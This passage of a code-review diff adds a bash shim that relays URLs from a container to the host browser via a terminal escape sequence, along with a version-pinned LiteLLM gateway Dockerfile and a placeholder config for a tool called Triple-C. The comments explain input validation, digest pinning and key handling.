printf "%s='%s'\n" "$key" "$escaped_value" >> "$ENV_FILE"
|
||||
|
||||
Executable
+136
@@ -0,0 +1,136 @@
|
||||
#!/bin/bash
|
||||
# triple-c-open — URL relay shim.
|
||||
#
|
||||
# Programs inside the container have no browser and no display. When one wants
|
||||
# to open a URL (`gh auth login`, `aws sso login`, `gcloud auth login`, any
|
||||
# tool that shells out to xdg-open or honours $BROWSER), this shim relays the
|
||||
# URL to the *Triple-C host*, where the user's real browser lives. Nothing is
|
||||
# rendered in the container — this is a message, not display forwarding.
|
||||
#
|
||||
# Transport: an OSC escape sequence written to the controlling terminal, the
|
||||
# same trick /usr/local/bin/osc52-clipboard uses for the clipboard.
|
||||
#
|
||||
# ESC ] 7777 ; open ; <base64(url)> BEL
|
||||
#
|
||||
# It goes to /dev/tty, not stdout, so it still reaches the terminal when this
|
||||
# shim is a grandchild of something that captures its children's output (e.g.
|
||||
# Claude Code running `gh auth login` as a tool call). Triple-C's terminal
|
||||
# front-end registers an OSC 7777 handler, validates the URL and offers to open
|
||||
# it on the host. Terminals that don't know OSC 7777 silently discard it.
|
||||
#
|
||||
# Installed as: xdg-open, sensible-browser, www-browser, x-www-browser,
|
||||
# gnome-open, gvfs-open, kde-open, open — and as $BROWSER.
|
||||
#
|
||||
# NO-TERMINAL FALLBACK: cron-driven scheduled tasks (triple-c-task-runner) run
|
||||
# with no controlling terminal at all, and a container can be exec'd into from
|
||||
# a plain `docker exec` with no Triple-C front-end listening. There is no
|
||||
# handshake and nothing to wait for, so this shim never blocks: it prints the
|
||||
# URL in plain text on its own line and exits. A human reading the scheduler
|
||||
# log, or the operator at a foreign terminal, can still act on it.
|
||||
|
||||
set -u
|
||||
|
||||
PROGRAM_NAME="triple-c-open"
|
||||
MAX_URL_LENGTH=8192 # refuse absurd payloads rather than base64 them
|
||||
MAX_TARGETS=8 # refuse to fan out into a burst of relays
|
||||
|
||||
usage() {
|
||||
cat <<EOF
|
||||
Usage: $PROGRAM_NAME <url> [url ...]
|
||||
|
||||
Relays http/https URLs to the Triple-C host's browser via the terminal.
|
||||
With no Triple-C terminal attached, prints the URL instead of opening it.
|
||||
|
||||
Options:
|
||||
-h, --help Show this help
|
||||
-v, --version Show version
|
||||
EOF
|
||||
}
|
||||
|
||||
# stderr, so we never pollute a caller that parses our stdout.
|
||||
note() {
|
||||
printf '%s\n' "$*" >&2
|
||||
}
|
||||
|
||||
# Scheme allow-list. The host validates independently — this is defence in
|
||||
# depth and, more usefully, an immediate error message for the caller.
|
||||
# Rejects file:, javascript:, data:, and every custom handler.
|
||||
is_relayable_url() {
|
||||
local url="$1"
|
||||
case "$url" in
|
||||
http://*|https://*|HTTP://*|HTTPS://*|Http://*|Https://*) ;;
|
||||
*) return 1 ;;
|
||||
esac
|
||||
# Reject control characters and whitespace: a bare CR/LF or ESC in the URL
|
||||
# would let the container inject its own escape sequences into the relay.
|
||||
case "$url" in
|
||||
*[[:space:][:cntrl:]]*) return 1 ;;
|
||||
esac
|
||||
[ "${#url}" -le "$MAX_URL_LENGTH" ]
|
||||
}
|
||||
|
||||
# Write the OSC sequence to the controlling terminal. Returns non-zero when
|
||||
# there is no controlling terminal (cron, detached exec) — bash fails the
|
||||
# redirection itself, which is exactly the signal we want.
|
||||
emit_osc() {
|
||||
local encoded
|
||||
encoded=$(printf '%s' "$1" | base64 | tr -d '\n') || return 1
|
||||
# The braces matter: with no controlling terminal bash reports the failed
|
||||
# redirection on stderr, and only a group-level 2>/dev/null (applied before
|
||||
# the inner > /dev/tty) suppresses that noise. Trailing `2>/dev/null` on
|
||||
# the printf itself would be applied *after* the failing redirection.
|
||||
{ printf '\033]7777;open;%s\a' "$encoded" > /dev/tty; } 2>/dev/null
|
||||
}
|
||||
|
||||
relay() {
|
||||
local url="$1"
|
||||
|
||||
if ! is_relayable_url "$url"; then
|
||||
note "$PROGRAM_NAME: refusing to relay non-http(s) target: $url"
|
||||
note "$PROGRAM_NAME: only http:// and https:// URLs can be opened on the host."
|
||||
# xdg-open convention: 4 = the action failed.
|
||||
return 4
|
||||
fi
|
||||
|
||||
if emit_osc "$url"; then
|
||||
note "$PROGRAM_NAME: sent to the Triple-C host browser:"
|
||||
note "$url"
|
||||
return 0
|
||||
fi
|
||||
|
||||
# No controlling terminal. Do not wait for a host that isn't listening.
|
||||
note "$PROGRAM_NAME: no Triple-C terminal attached — cannot reach the host browser."
|
||||
note "$PROGRAM_NAME: open this URL manually:"
|
||||
note "$url"
|
||||
return 0
|
||||
}
|
||||
|
||||
targets=()
|
||||
for arg in "$@"; do
|
||||
case "$arg" in
|
||||
-h|--help) usage; exit 0 ;;
|
||||
-v|--version) printf 'triple-c-open 1.0\n'; exit 0 ;;
|
||||
--) continue ;;
|
||||
# Swallow unknown flags (xdg-open accepts --manual etc.) rather than
|
||||
# mistaking them for targets.
|
||||
-*) continue ;;
|
||||
*) targets+=("$arg") ;;
|
||||
esac
|
||||
done
|
||||
|
||||
if [ "${#targets[@]}" -eq 0 ]; then
|
||||
note "$PROGRAM_NAME: no URL given"
|
||||
usage
|
||||
exit 1 # xdg-open convention: 1 = error in command line syntax
|
||||
fi
|
||||
|
||||
if [ "${#targets[@]}" -gt "$MAX_TARGETS" ]; then
|
||||
note "$PROGRAM_NAME: refusing to relay ${#targets[@]} URLs at once (max $MAX_TARGETS)"
|
||||
exit 4
|
||||
fi
|
||||
|
||||
status=0
|
||||
for target in "${targets[@]}"; do
|
||||
relay "$target" || status=$?
|
||||
done
|
||||
exit "$status"
|
||||
@@ -0,0 +1,56 @@
|
||||
# Triple-C model gateway — a LiteLLM proxy that speaks the Anthropic Messages
|
||||
# API on the front and OpenAI (or any other LiteLLM provider) on the back.
|
||||
#
|
||||
# Claude Code only ever talks the Anthropic Messages API: it POSTs to
|
||||
# `${ANTHROPIC_BASE_URL}/v1/messages`. OpenAI has no such route, so an OpenAI
|
||||
# key cannot be pointed at Claude Code directly. LiteLLM's proxy exposes
|
||||
# `/v1/messages` in Anthropic format and translates each request to the
|
||||
# configured provider, which is what makes first-class OpenAI support possible.
|
||||
#
|
||||
# ── Why this image is built FROM the official LiteLLM image ──────────────────
|
||||
# We deliberately do NOT `pip install litellm` ourselves. The official image is
|
||||
# built by the LiteLLM maintainers from a locked dependency set and already
|
||||
# carries the proxy entrypoint (`docker/prod_entrypoint.sh`), the admin UI and
|
||||
# the Prisma bits. Hand-rolling a pip install would mean re-resolving the whole
|
||||
# dependency tree on every build — exactly the surface that got poisoned in the
|
||||
# incident below — and would drift from what upstream tests.
|
||||
#
|
||||
# ── Why the version is PINNED and why THIS version ───────────────────────────
|
||||
# LiteLLM 1.82.7 and 1.82.8 were published to PyPI containing malware. Anything
|
||||
# that resolves `litellm` at build time (or floats a `latest`/`main-latest` tag)
|
||||
# can silently land on a compromised build, so the tag here is pinned to an
|
||||
# exact release and additionally pinned by digest — a tag can be re-pushed, a
|
||||
# digest cannot.
|
||||
#
|
||||
# The malicious wheels never became images — the official images build from a
|
||||
# pinned requirements.txt and were confirmed unaffected (GHSA-5mg7-485q-xm76,
|
||||
# https://docs.litellm.ai/blog/security-update-march-2026). The reason to pin is
|
||||
# to keep it that way: a floating tag re-resolves, and this container ends up
|
||||
# holding an OpenAI API key.
|
||||
#
|
||||
# v1.96.0 is chosen rather than the nearest clean post-incident release (1.83.0)
|
||||
# because the intervening releases fix a run of *ordinary* proxy CVEs that matter
|
||||
# for a gateway published on a host port: SQL injection in API-key verification
|
||||
# (CVE-2026-42208, fixed 1.83.7), auth bypass via Host header injection
|
||||
# (CVE-2026-49468, fixed 1.84.0) and MCP auth bypass (CVE-2026-59822, fixed
|
||||
# 1.84.0). 1.84.0 is the floor; v1.96.0 is the newest release with no open OSV
|
||||
# advisories at the time of writing. Note LiteLLM has retired the `main-*` tag
|
||||
# family (`main-latest` is no longer updated, `main-stable` is deprecated) in
|
||||
# favour of plain semver tags, which is why this is `v1.96.0` and not
|
||||
# `main-v1.96.0-stable`.
|
||||
#
|
||||
# Bump deliberately, never automatically, and re-check the digest when you do.
|
||||
FROM ghcr.io/berriai/litellm:v1.96.0@sha256:90d8de0ea6fbb3cad145d1019d00a0149ae400b1e18e2011a60f1988f143f672
|
||||
|
||||
# A placeholder config so the image is runnable on its own. Triple-C overwrites
|
||||
# /etc/litellm/config.yaml (a named volume) with the generated one before the
|
||||
# container is started for the first time — the generated file holds the
|
||||
# provider API key, so it is never baked into an image layer.
|
||||
COPY config.yaml /etc/litellm/config.yaml
|
||||
|
||||
EXPOSE 4000
|
||||
|
||||
# The base image's ENTRYPOINT is `docker/prod_entrypoint.sh`, which execs
|
||||
# `litellm "$@"`. These are the arguments Triple-C also passes explicitly when
|
||||
# it runs the unmodified upstream image instead of this one.
|
||||
CMD ["--config", "/etc/litellm/config.yaml", "--host", "0.0.0.0", "--port", "4000"]
|
||||
@@ -0,0 +1,27 @@
|
||||
# Placeholder LiteLLM config baked into the Triple-C gateway image.
|
||||
#
|
||||
# This file exists only so the image starts on its own. Triple-C generates the
|
||||
# real config from Settings → Model Gateway and uploads it over this path
|
||||
# (/etc/litellm/config.yaml) before the container's first start, because the
|
||||
# generated file contains the provider API key and must not live in an image
|
||||
# layer.
|
||||
#
|
||||
# The generated file has the same shape:
|
||||
#
|
||||
# model_list:
|
||||
# - model_name: <friendly name a project puts in ANTHROPIC_MODEL>
|
||||
# litellm_params:
|
||||
# model: <provider>/<provider-side model id>
|
||||
# api_key: <key read from the OS keychain>
|
||||
# api_base: <optional provider base URL override>
|
||||
# general_settings:
|
||||
# master_key: <generated; projects send it as ANTHROPIC_AUTH_TOKEN>
|
||||
# litellm_settings:
|
||||
# drop_params: true
|
||||
|
||||
model_list: []
|
||||
|
||||
litellm_settings:
|
||||
# Anthropic-format requests carry fields some providers reject outright.
|
||||
# Dropping unsupported params is what makes the translation survive.
|
||||
drop_params: true
|
||||
Reference in New Issue
Block a user